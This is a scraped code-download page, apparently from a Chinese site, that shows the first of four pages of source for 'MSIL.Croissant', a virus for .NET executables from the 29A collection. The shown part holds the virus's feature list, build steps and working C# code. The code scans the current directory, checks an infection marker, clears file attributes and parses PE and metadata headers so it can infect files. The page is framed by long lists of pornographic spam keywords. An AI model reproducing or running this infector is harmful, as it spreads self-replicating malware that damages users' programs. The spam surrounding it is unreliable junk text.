亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? 29a-7.002

?? 從29A上收集的病毒源碼
?? 002
?? 第 1 頁 / 共 4 頁
字號:

/*
MSIL.Croissant by roy g biv (better than any Donut ;) )

some of its features:
- parasitic direct action infector of .NET exe (but not looking at suffix)
- light platform dependence (works on 32-bit and 64-bit Intel, untested on big-endian)
- infects files in current directory
- EPO (appends to random method)
- section attributes are not altered
- no infect files with data outside of image (eg self-extractors)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
---

C++ compatibility:
No major changes, but requires disabling (somehow) of native code generation

JScript compatibility:
No major changes, but requires support for #US stream
This means check for #US stream, calculation of ustringsdelta, and change to binder file

VBScript compatibility:
Major changes - complete rewrite
---

known bugs: no exception handling because EH structures are not copied to host
This means that replicants will crash if anything goes wrong (eg file in use)
---

to build this thing:

1. csc croissnt.cs
2. ildasm -out:croissnt.il croissnt.exe
3. in croissnt.il, replace all "loca.s" with "loca" (force use of long indexes for variables)
4. in croissnt.il, replace all "loc.s" with "loc" (force use of long indexes for variables)
5. in croissnt.il, replace all "loc." with "loc " (force use of long indexes for variables)
6. ilasm croissnt.il
7. if any branch is out of range, then remove ".s" from branch, then repeat step 6
8. bind
*/

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

class r
{
    static void Main()
    {
        /* no Unicode strings allowed, so create a string object dynamically
           demo version, current directory only
        */

        String[] files = Directory.GetFiles(Convert.ToString(Convert.ToChar(0x2e)));

        foreach (String filename in files)
        {
            DateTime lastwrite;

            /* check for infection marker (seconds == 0) */

            if ((lastwrite = File.GetLastWriteTime(filename)).Second != 0)
            {
                FileAttributes attr = File.GetAttributes(filename);

                File.SetAttributes(filename, 0);
                FileStream fs = File.Open(filename, FileMode.Open);

                Byte[] buff;

                fs.Read(buff = new Byte[0xfc], 0, 0x40);

                if (BitConverter.ToInt16(buff, 0) == 0x5a4d)
                {
                    Int32 lfanew;

                    /* the only 32-bit dependencies are filesize (must be < 2Gb) and image base (must be < 4Gb) */

                    fs.Seek(lfanew = BitConverter.ToInt32(buff, 0x3c), 0); /* 0 == SeekOrigin.Begin */
                    fs.Read(buff, 0, 0xfc);

                    /* PE file
                       Intel 386+ or IA64 (64-bit?  yeah baby yeah!)
                       not a system file, not for UP systems, not a DLL
                       "32-bit" executable
                       GUI or CUI
                       not a WDM driver
                       no attribute certificates
                       MSIL file
                    */

                    Int32 rva;

                    if ((BitConverter.ToInt32(buff, 0) == 0x00004550)
                     && (((rva = BitConverter.ToInt16(buff, 4) - 0x14c) == 0)
                      || (rva == 0xb4)
                        )
                     && ((buff[0x17] & 0x70) == 0)
                     && ((BitConverter.ToInt16(buff, 0x16) & 0x102) == 0x102)
                     && ((BitConverter.ToInt16(buff, 0x5c) & -2) == 2)
                     && ((buff[0x5f] & 0x20) == 0)
                     && (BitConverter.ToInt32(buff, (rva &= 0x10) + 0x98) == 0)
                     && ((rva = BitConverter.ToInt32(buff, rva + 0xe8)) != 0)
                       )
                    {
                        /* read entire section table */

                        fs.Seek(BitConverter.ToInt16(buff, 0x14) - 0xe4, SeekOrigin.Current);

                        Int32  sectsize;
                        Byte[] sect = new Byte[(UInt32) (sectsize = BitConverter.ToInt16(buff, 6) * 0x28)];

                        fs.Read(sect, 0, sectsize);

                        /* copy last section to fixed location */

                        Int32 lastsect = (Int32) (fs.Seek(-0x20, SeekOrigin.Current));

                        fs.Read(buff, 0, 0x20);

                        /* read-only last section (because .NET code will not run in writeable section),
                           and no appended bytes
                        */

                        if (((buff[0x1f] & 0x80) == 0)
                         && ((BitConverter.ToInt32(buff, 8) + BitConverter.ToInt32(buff, 0x0c)) == (Int32) (fs.Length))
                           )
                        {
                            Int32 sectcopy = sectsize, raw;

                            /* no subroutines allowed, so inline rvatoraw() */

                            do {} while ((raw = BitConverter.ToInt32(sect, (sectcopy -= 0x28) + 0x0c)) > rva);

                            Int32 rootptroff = (Int32) (fs.Seek(rva - raw + BitConverter.ToInt32(sect, sectcopy + 0x14) + 8, 0)); /* 0 == SeekOrigin.Begin */

                            /* get host Metadata root RVA and size */

                            fs.Read(buff, 0xa0, 0x30);

                            /* check for no StrongNameSignature
                               or VTableFixups (because we will move a method)
                            */

                            if ((BitConverter.ToInt32(buff, 0xbc) | BitConverter.ToInt32(buff, 0xcc)) == 0)
                            {
                                Int64 valid;

                                rva = (Int32) (valid = BitConverter.ToInt64(buff, 0xa0));
                                sectcopy = sectsize;
                                do {} while ((raw = BitConverter.ToInt32(sect, (sectcopy -= 0x28) + 0x0c)) > rva);

                                /* read host Metadata root header */

                                Int32  rootoff = (Int32) (fs.Seek(rva - raw + BitConverter.ToInt32(sect, sectcopy + 0x14), 0)), rootsize = (Int32) (valid >> 0x20); /* 0 == SeekOrigin.Begin */
                                Byte[] rootold;

                                fs.Read(rootold = new Byte[(UInt32) (rootsize)], 0, rootsize);

                                /* check signature and version, to be certain */

                                if (BitConverter.ToInt64(rootold, 0) == 0x00010001424a5342) /* BJSB, v1.1 only */
                                {
                                    Int32   strbase;
                                    Int16   streams, strcpy;
                                    Int32[] basearr = new Int32[(UInt32) ((streams = strcpy = BitConverter.ToInt16(rootold, (strbase = BitConverter.ToInt32(rootold, 0x0c) + 0x14) - 2)) + 1) * 3];

                                    /* skip any extra data */

                                    if ((rootold[strbase - 4] & 1) != 0) /* 1 == STGHDR_EXTRADATA */
                                    {
                                        strbase += BitConverter.ToInt32(rootold, strbase) + 4;
                                    }

                                    Byte  heapsizes = 0;
                                    Int32 baseind = 0, schemaind = 0, stringsind = 0, blobind = 0;

                                    do
                                    {
                                        basearr[baseind + 0] = strbase;
                                        basearr[baseind + 1] = BitConverter.ToInt32(rootold, strbase);
                                        basearr[baseind + 2] = BitConverter.ToInt32(rootold, strbase + 4);

                                        /* check if #~ stream (can be any order) */

                                        if (((raw = BitConverter.ToInt32(rootold, strbase += 8)) & 0x00ffffff) == 0x00007e23)
                                        {
                                            /* must have 16-bit heapsizes,
                                               and AssemblyRefs, Assemblys, StandAloneSigs, MemberRefs, Methods, TypeRefs
                                               Int64 class does not support & operator
                                               and not worth finding how to implement it
                                               so we use two reads for the 36 bits that we need
                                            */

                                            if ((((heapsizes = rootold[basearr[baseind + 1] + 6]) & 7) != 0) /* 7 == HEAP_BLOB_4 | HEAP_GUID_4 | HEAP_STRING_4 */
                                             || ((BitConverter.ToInt32(rootold, rva = basearr[baseind + 1] + 8) & 0x00020442) != 0x00020442) /* 20442 == StandAloneSigs | MemberRefs | Methods | TypeRefs */
                                             || ((rootold[rva + 4] & 0x09) != 0x09) /* 9 == AssemblyRefs | Assemblys */
                                               )
                                            {
                                                break;
                                            }

                                            schemaind = baseind + 1;
                                        }

                                        /* check if #Strings stream */

                                        else if (((rva = BitConverter.ToInt32(rootold, strbase + 4)) == 0x73676e69)
                                              && (raw == 0x72745323)
                                              && (rootold[strbase + 8] == 0)
                                                )
                                        {
                                            /* check that combined #Strings stream < 64kb */

                                            /* variable 0: size of our #Strings stream */

                                            if ((basearr[baseind + 2] + 0x00626772) > 0xffff)
                                            {
                                                break;
                                            }

                                            stringsind = baseind + 1;
                                        }

                                        /* check if #Blob stream */

                                        else if ((raw == 0x6f6c4223)
                                              && ((Int16) (rva) == 0x0062)
                                                )
                                        {
                                            blobind = baseind + 1;
                                        }

                                        /* find end of stream name */

                                        do {} while (rootold[strbase++] != 0);
                                        strbase = (strbase + 3) & -4;
                                        baseind += 3;
                                    }
                                    while (--streams != 0);

                                    /* skip persisted dword, if present */

                                    strbase += ((heapsizes >> 4) & 4);

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产一区二区在线影院| 99久久777色| 亚洲免费资源在线播放| 日韩视频中午一区| 99国产精品99久久久久久| 日本不卡一二三| 18欧美亚洲精品| 精品国产污污免费网站入口| 欧美在线播放高清精品| 狠狠色2019综合网| 首页亚洲欧美制服丝腿| 国产精品萝li| 亚洲精品一线二线三线无人区| 在线一区二区三区四区| 国产一区二区精品久久| 视频一区在线播放| 亚洲尤物在线视频观看| 欧美国产精品一区二区三区| 日韩一区二区中文字幕| 欧美三级电影网站| 色综合久久综合网| 成人精品小蝌蚪| 国产传媒日韩欧美成人| 美脚の诱脚舐め脚责91| 亚洲成a人片在线观看中文| 亚洲视频电影在线| 国产精品不卡视频| 国产精品美女久久久久久| 欧美精品一区二区精品网| 91麻豆精品国产91久久久久久久久 | www.亚洲人| 国产精品香蕉一区二区三区| 精品亚洲成a人在线观看| 爽爽淫人综合网网站| 亚洲第一成人在线| 亚洲一区欧美一区| 亚洲一二三区不卡| 亚洲国产精品久久艾草纯爱| 亚洲一区在线观看免费观看电影高清 | 中文字幕中文字幕一区二区| 久久综合九色综合欧美亚洲| 日韩一区二区三区四区| 91麻豆精品国产自产在线 | 久久99日本精品| 久久精工是国产品牌吗| 免费日本视频一区| 免费观看久久久4p| 精品亚洲欧美一区| 国产一区二区0| 国产综合色在线视频区| 国产精品影视天天线| 成人亚洲精品久久久久软件| 成人涩涩免费视频| 94-欧美-setu| 在线精品亚洲一区二区不卡| 欧美视频中文字幕| 欧美一二三区在线| 久久久久久久久久电影| 中文字幕电影一区| 亚洲视频在线一区观看| 亚洲第一主播视频| 免费成人你懂的| 国产成人精品免费| 色综合中文字幕国产 | 欧美日韩中文另类| 欧美丰满少妇xxxbbb| 精品va天堂亚洲国产| 中文av字幕一区| 亚洲成人免费视频| 久久99精品久久久| av高清久久久| 8v天堂国产在线一区二区| 久久久久国产精品厨房| ...xxx性欧美| 青娱乐精品视频在线| 国产毛片一区二区| 欧日韩精品视频| 337p日本欧洲亚洲大胆色噜噜| 国产精品福利一区二区三区| 亚洲国产美国国产综合一区二区| 蜜臀99久久精品久久久久久软件| 国产91色综合久久免费分享| 在线观看国产一区二区| 2欧美一区二区三区在线观看视频| 国产精品伦理一区二区| 五月天一区二区| 成人毛片在线观看| 欧美一区二区三区电影| 国产精品美女久久久久aⅴ| 日韩电影在线一区二区| 成人激情图片网| 日韩午夜av电影| 亚洲精选视频免费看| 狠狠色狠狠色综合系列| 欧美日韩一区二区不卡| 国产亚洲精久久久久久| 午夜激情久久久| 不卡一卡二卡三乱码免费网站| 3d成人h动漫网站入口| 国产精品久久福利| 蜜桃传媒麻豆第一区在线观看| 一本到不卡免费一区二区| 精品国产乱码久久久久久闺蜜| 亚洲免费观看在线视频| 国产成人免费在线| 日韩欧美亚洲国产精品字幕久久久| 一色屋精品亚洲香蕉网站| 九色综合狠狠综合久久| 欧美日韩高清一区二区不卡| 亚洲欧美在线另类| 国产一区二区精品久久| 欧美一区二区久久| 亚洲国产精品一区二区久久恐怖片 | 亚洲综合一二区| 99精品在线免费| 国产丝袜欧美中文另类| 老司机精品视频一区二区三区| 欧美三级电影一区| 一区二区三区蜜桃网| 成人涩涩免费视频| 国产三级精品视频| 国产专区欧美精品| 欧美成人女星排名| 蜜桃传媒麻豆第一区在线观看| 欧美图片一区二区三区| 亚洲欧美另类图片小说| 精品中文字幕一区二区小辣椒| 欧美三级在线播放| 亚洲精品美腿丝袜| 92精品国产成人观看免费| 国产精品国产三级国产普通话三级| 国产成人av影院| 国产欧美日韩在线| 国产不卡一区视频| 国产免费久久精品| 粉嫩aⅴ一区二区三区四区五区 | 精品伦理精品一区| 蜜桃精品在线观看| 精品国免费一区二区三区| 麻豆精品久久久| 日韩免费电影一区| 激情欧美一区二区| 久久久久88色偷偷免费| 国产成人免费视频一区| 国产精品色在线观看| 不卡的av电影| 一区二区三区丝袜| 欧美日韩视频在线观看一区二区三区 | 久久综合成人精品亚洲另类欧美 | 国产成人av电影在线| 国产精品色哟哟网站| 一本色道亚洲精品aⅴ| 洋洋成人永久网站入口| 欧美日韩精品欧美日韩精品| 亚洲成av人片在线观看| 欧美福利视频一区| 国产在线精品一区二区 | 亚洲国产一区二区三区| 欧美日韩视频在线观看一区二区三区| 水蜜桃久久夜色精品一区的特点 | 欧美视频在线观看一区二区| 日韩精品电影在线| 国产日韩高清在线| 色综合久久中文综合久久97| 婷婷久久综合九色综合绿巨人| 欧美一区二区三区视频免费| 韩国精品主播一区二区在线观看 | 日韩欧美在线观看一区二区三区| 紧缚奴在线一区二区三区| 久久亚洲精精品中文字幕早川悠里| 成人性生交大合| 亚洲国产精品久久一线不卡| 欧美一区二区三区电影| 懂色av一区二区三区蜜臀 | 国产一区二区三区精品欧美日韩一区二区三区 | 激情文学综合网| 亚洲欧洲日韩在线| 在线不卡免费欧美| 丰满亚洲少妇av| 性做久久久久久| 国产日本欧美一区二区| 欧美无砖砖区免费| 国产在线精品不卡| 一区二区三区在线影院| 精品日韩一区二区| 色狠狠色噜噜噜综合网| 精品一区二区三区影院在线午夜| 久久精品在这里| 欧美乱妇15p| 丰满岳乱妇一区二区三区| 三级亚洲高清视频| 中文字幕一区二区5566日韩| 91精品国产综合久久精品图片| 国产麻豆一精品一av一免费 | 国产成人av一区二区三区在线观看| 亚洲在线视频一区| 国产婷婷色一区二区三区四区| 欧美另类久久久品| 91理论电影在线观看| 国产毛片一区二区|